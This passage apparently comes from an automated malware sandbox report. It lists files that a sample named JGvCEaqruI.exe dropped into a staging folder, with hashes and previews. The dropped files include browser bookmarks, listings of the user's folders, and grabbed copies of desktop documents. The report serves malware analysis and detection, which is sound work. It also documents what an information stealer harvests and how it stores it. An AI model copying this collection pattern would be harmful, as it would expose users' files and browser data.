SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Browsers\Firefox\Bookmarks.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	105
Entropy (8bit):	3.8863455911790052
Encrypted:	false
SSDEEP:	3:RGtjybXLGSWK+ZjMGvRS3ZMz9GSOLj2SjyRE2qJ:hvWF7Ipg9OL2RE2m
MD5:	2E9D094DDA5CDC3CE6519F75943A4FF4
SHA1:	5D989B4AC8B699781681FE75ED9EF98191A5096C
SHA-256:	C84C98BBF5E0EF9C8D0708B5D60C5BB656B7D6BE5135D7F7A8D25557E08CF142
SHA-512:	D1F7EED00959E902BDB2125B91721460D3FF99F3BDFC1F2A343D4F58E8D4E5E5A06C0C6CDC0379211C94510F7C00D7A8B34FA7D0CA0C3D54CBBE878F1E9812B7
Malicious:	false
Preview:	### Get Help ###.### Customize Firefox ###.### Get Involved ###.### About Us ###.### Getting Started ###.

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Directories\Desktop.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	5.207708671665738
Encrypted:	false
SSDEEP:	24:wp0D/lIKAeZUPBQzsRimeSVpPFALDld0yoj/w4qT8v:wp0D/lQEUezGimeupPFALDld0yoj/vqW
MD5:	91F50A279CC7FB0F9B120C84DB444CCD
SHA1:	1A103DE2F3CF631A90122C72366A504143195755
SHA-256:	25D431BFA22415383BCAA11CC4A7611202908C0DF0797D34EBBE3A21E98E8B49
SHA-512:	6550C68FF14F81E24AC5357E75546F8CBC23FE50D84CE13926F6A15DA87FCFF4A142ADAE4243A6AC2D50B27EEF345C4046288422716F5310B832030D6E5D7B81
Malicious:	false
Preview:	Desktop\...AQRFEVRTGL\...BWDRWEEARI\...CZQKSDDMWR\....CZQKSDDMWR.docx....GLTYDMDUST.xlsx....HMPPSXQPQV.mp3....LFOPODGVOH.jpg....LIJDSFKJZG.png....UNKRLCVOHV.pdf...FAAGWHBVUU\...GJBHWQDROJ\...GLTYDMDUST\....GLTYDMDUST.docx....HMPPSXQPQV.pdf....HQJBRDYKDE.mp3....LFOPODGVOH.xlsx....QFAPOWPAFG.png....VWDFPKGDUF.jpg...LFOPODGVOH\....FAAGWHBVUU.mp3....GNLQNHOLWB.png....HQJBRDYKDE.pdf....LFOPODGVOH.docx....NIRMEKAMZH.jpg....VWDFPKGDUF.xlsx...LHEPQPGEWF\...NIRMEKAMZH\...UNKRLCVOHV\....BQJUWOYRTO.mp3....DQOFHVHTMG.png....HMPPSXQPQV.xlsx....HQJBRDYKDE.jpg....UNKRLCVOHV.docx....WSHEJMDVQC.pdf...VWDFPKGDUF\...ZUYYDJDFVF\...BQJUWOYRTO.mp3...CZQKSDDMWR.docx...desktop.ini...DQOFHVHTMG.png...Excel.lnk...FAAGWHBVUU.mp3...GLTYDMDUST.docx...GLTYDMDUST.xlsx...GNLQNHOLWB.png...HMPPSXQPQV.mp3...HMPPSXQPQV.pdf...HMPPSXQPQV.xlsx...HQJBRDYKDE.jpg...HQJBRDYKDE.mp3...HQJBRDYKDE.pdf...JGvCEaqruI.exe...LFOPODGVOH.docx...LFOPODGVOH.jpg...LFOPODGVOH.xlsx...LIJDSFKJZG.png...NIRMEKAMZH.jpg...QFAPOWPAFG.png...UNKRLCVOH

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Directories\Documents.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1202
Entropy (8bit):	5.300925069520916
Encrypted:	false
SSDEEP:	24:Kp0D/lIKAeZUPB8xrqEEhsRimeSRALDLyoj/w4qT8v:Kp0D/lQEU6BqEEhGimeAALDLyoj/vqW
MD5:	CE4EA192533C1F06F5CD877F053B4633
SHA1:	1A29E87DA15C079FB705A07E5BD4892ABB647C1B
SHA-256:	AA5A947E0D88A57CB0599851C127FEB46411432A44AFB1E7BB9AD057EBDB90AB
SHA-512:	D098E861485BCAD16E241BA0BFC75084DF753F3DC0C37730963397D3838401D12D21B6E6506D2D1E2B63EF27F1BEE9CB2522B8FAFEEC36BCB9FC5DEB330E34B2
Malicious:	false
Preview:	Documents\...AQRFEVRTGL\...BWDRWEEARI\...CZQKSDDMWR\....CZQKSDDMWR.docx....GLTYDMDUST.xlsx....HMPPSXQPQV.mp3....LFOPODGVOH.jpg....LIJDSFKJZG.png....UNKRLCVOHV.pdf...FAAGWHBVUU\...GJBHWQDROJ\...GLTYDMDUST\....GLTYDMDUST.docx....HMPPSXQPQV.pdf....HQJBRDYKDE.mp3....LFOPODGVOH.xlsx....QFAPOWPAFG.png....VWDFPKGDUF.jpg...LFOPODGVOH\....FAAGWHBVUU.mp3....GNLQNHOLWB.png....HQJBRDYKDE.pdf....LFOPODGVOH.docx....NIRMEKAMZH.jpg....VWDFPKGDUF.xlsx...LHEPQPGEWF\...My Music\....desktop.ini...My Pictures\....Camera Roll\.....desktop.ini....Saved Pictures\.....desktop.ini....desktop.ini...My Videos\....desktop.ini...NIRMEKAMZH\...UNKRLCVOHV\....BQJUWOYRTO.mp3....DQOFHVHTMG.png....HMPPSXQPQV.xlsx....HQJBRDYKDE.jpg....UNKRLCVOHV.docx....WSHEJMDVQC.pdf...VWDFPKGDUF\...ZUYYDJDFVF\...BQJUWOYRTO.mp3...CZQKSDDMWR.docx...desktop.ini...DQOFHVHTMG.png...FAAGWHBVUU.mp3...GLTYDMDUST.docx...GLTYDMDUST.xlsx...GNLQNHOLWB.png...HMPPSXQPQV.mp3...HMPPSXQPQV.pdf...HMPPSXQPQV.xlsx...HQJBRDYKDE.jpg...HQJBRDYKDE.mp3...HQJBR

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Directories\Downloads.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	442
Entropy (8bit):	5.222057912425131
Encrypted:	false
SSDEEP:	12:a5GuLKSRAGQZXo0a+9GvIt06jqSr16oj/oO+4qTtScYey:amSRALDLyoj/w4qT8v
MD5:	E0A4A3516CBF9F69B8B2557F76FFBA25
SHA1:	B505390E7C649574CCB894F50058EFBEB78CB756
SHA-256:	D20A92EDAA8F913E8A8BA7BE96363829F4C052AE276EE9BC3A5A130787E80AA8
SHA-512:	6A4C6F93D1C7497DFEB7D35B7E53F5F7159BC9C828208F1AEF931E7103AFE9F4C73C9268790A6F2A55B5E40A5C6493E32C382CD22C62A502D17F6D1B28D36A52
Malicious:	false
Preview:	Downloads\...BQJUWOYRTO.mp3...CZQKSDDMWR.docx...desktop.ini...DQOFHVHTMG.png...FAAGWHBVUU.mp3...GLTYDMDUST.docx...GLTYDMDUST.xlsx...GNLQNHOLWB.png...HMPPSXQPQV.mp3...HMPPSXQPQV.pdf...HMPPSXQPQV.xlsx...HQJBRDYKDE.jpg...HQJBRDYKDE.mp3...HQJBRDYKDE.pdf...LFOPODGVOH.docx...LFOPODGVOH.jpg...LFOPODGVOH.xlsx...LIJDSFKJZG.png...NIRMEKAMZH.jpg...QFAPOWPAFG.png...UNKRLCVOHV.docx...UNKRLCVOHV.pdf...VWDFPKGDUF.jpg...VWDFPKGDUF.xlsx...WSHEJMDVQC.pdf..

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Directories\Pictures.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5690
Entropy (8bit):	5.257206297035782
Encrypted:	false
SSDEEP:	96:4MaaZelXlJMplDMW+BWJaNy0bkmkdRejiZSB0MjKo5yWvhfIiGVpqWEp8bgMJsH2:uQatbRku3B9mo5rpfIiKGlY
MD5:	7746746353339AC0B29EDAFC46250FD0
SHA1:	1ACC911EAE49859C5B996285BA1BD044DF42BC41
SHA-256:	986C76938ADBD9C02CFBDCE98AF8FEA1903488BF0B03529D48AD64EB4C3FA53E
SHA-512:	5CEA5909B254199DA26DF43ABF731B719FE8A21DBD125FA374D220DF7156257DB5915D9D3ED7647CF677536751A0709EB4971D5F239B80E766A36326BB1FC636
Malicious:	false
Preview:	Temp\...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-05 08-42-34-020.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-05 09-53-40-267.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-05 09-53-55-791.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696492126647891800_C77A0801-BF9E-4A77-B306-ADE600D7D503.log.....App1696492150176198700_7F03E0AD-1FF3-47CB-9F3F-97D0C5C0A24B.log.....App1696492161568813800_487416EE-F98F-4B97-8774-47B986A4D1F6.log.....App1696492161569268300_487416EE-F98F-4B97-8774-47B986A4D1F6.log...edge_BITS_3244_1042373222\....376d5b20-4ccf-4ab3-92ec-d2fa66fb039b...edge_BITS_3244_1077422325\....4643befd-79b8-4e0c-a2fb-c0e3ee78dcd5...edge_BITS_3244_1097730144\....873489b1-33b2-480a-baa2-641b9e09edcd...edge_BITS_3244_1164849323\....ef5f792e-9df7-4748-accf-02ec33a4a2c4...ed

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\CZQKSDDMWR.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\CZQKSDDMWR\CZQKSDDMWR.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\CZQKSDDMWR\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\CZQKSDDMWR\LFOPODGVOH.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\CZQKSDDMWR\LIJDSFKJZG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\CZQKSDDMWR\UNKRLCVOHV.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
